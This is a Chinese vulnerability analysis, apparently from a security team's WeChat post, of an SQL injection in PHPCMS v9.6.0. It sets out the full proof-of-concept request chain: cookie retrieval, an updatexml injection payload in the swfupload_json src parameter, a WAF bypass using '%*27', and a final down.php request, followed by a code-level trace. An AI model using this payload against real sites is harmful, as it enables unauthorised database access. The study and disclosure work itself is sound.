漏洞分析
/index.php?m=wap&c=index&a=init&siteid=1
抓包访问:
返回问题存在 set-cookie 处:
Set-Cookie: AANIc_siteid=8bffvCApajhhybqfrjScJK7sD4rX8bqKNYf2UY3s
PoC:
[POST]/phpcms/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%2
Content-Type:application/x-www-form-urlencoded
Content-Length:53
Userid_flash=8bffvCApajhhybqfrjScJK7sD4rX8bqKNYf2UY3s
获取JSON值:
AANIc_att_json=aae4yfABG8iXyZOoC15nQSCvLbvrIe6SiYzmtbrT7VMDqZgasHZP4oVPvkM9SRp7SQcFvJm6yYtItFexJVwyAnWObqzBGqfcM54PhUSNI-LzF0QEHhvyPn2N5PYtt3jt3D2eO-NItruB92Rh-xVKUQMrDAbAQmRwbdYnXtd_D0jJsPG1aQ
最后数据包:
POST
/index.php?m=content&c=down&a_k=<_att_json值>
userid_flash=4a88UejXEgsHNyatdvQH_OdI4d4SIsXU_7_BRicF
SQL 报错注入:
1.分析获取 set-cookie 问题:
wap 问题文件:phpcmsinstall_packagephpcmsmoduleswapindex.php
传入 waf 函数就是最后传入 set-cookie 中做了一个加密处理。
2.分析传入 json 值问题:
Swfupload_json 问题文件:
install_package/phpcms/modules/attachment/attachments.php
传入的 set-cookie 值,跟踪查看一下 set_cookie 这块内容:
大概的过程就是说,需要通过 set_cookie 的认证,才能进行下一步操作。
返回观察一下 poc:
/phpcms/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%2
Content-Type:application/x-www-form-urlencoded
传入 aid 值,传入 src 值,传入 json 值,userid 的值传入是因为上述有段代码:
需要传入 userid 值进行判断是否登录。
传入时的关键代码:
$this->userid = $_SESSION['userid'] ? $_SESSION['userid']: (param::get_cookie('_userid') ?
param::get_cookie('_userid') :
sys_auth($_POST['userid_flash'],'DECODE'));
$_SESSION 值当没法登录后台的时候拿不到,所以只能走 get_cookie 这个值的路,当也没有 get_cookie 的值的时候,就走下一个 userid_flash 的值,用 Post 传输方式。
3.分析注入问题:
最终问题文件:install_package/phpcms/modules/content/down.php
关键函数变量”$a_k”
跟一下,sys_auth 看对 $a_k 做了什么处理:
大致理解了一下,主要是做 md5 和 base64 方式加解密处理,
关键点:
$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
传入的 url 经过解码变成了查询语句:
再回到 init 中,摧毁 $i,$m,$f 变量后,进行了一个变量覆盖的操作。
有个特殊易造成变量覆盖函数 parse_str()
传入的变量 $id 值分析如何报错:
断点,进入后追踪:
跟数据库做交互:
闭合:
查询:
绕 WAF:
Poc 中的 src 值其实是:
src=%*27 and updatexml(1,concat(1,(user())),1)#&m=1&f=haha&modelid=2&catid=7&
其实是为了绕 WAF 代码中的一些操作,用*号省略将%和27拼在一起最终做一个查询的操作。
- End -
原文始发于微信公众号(NS Demon团队):PHPCMSv9.6.0wap模块注入漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论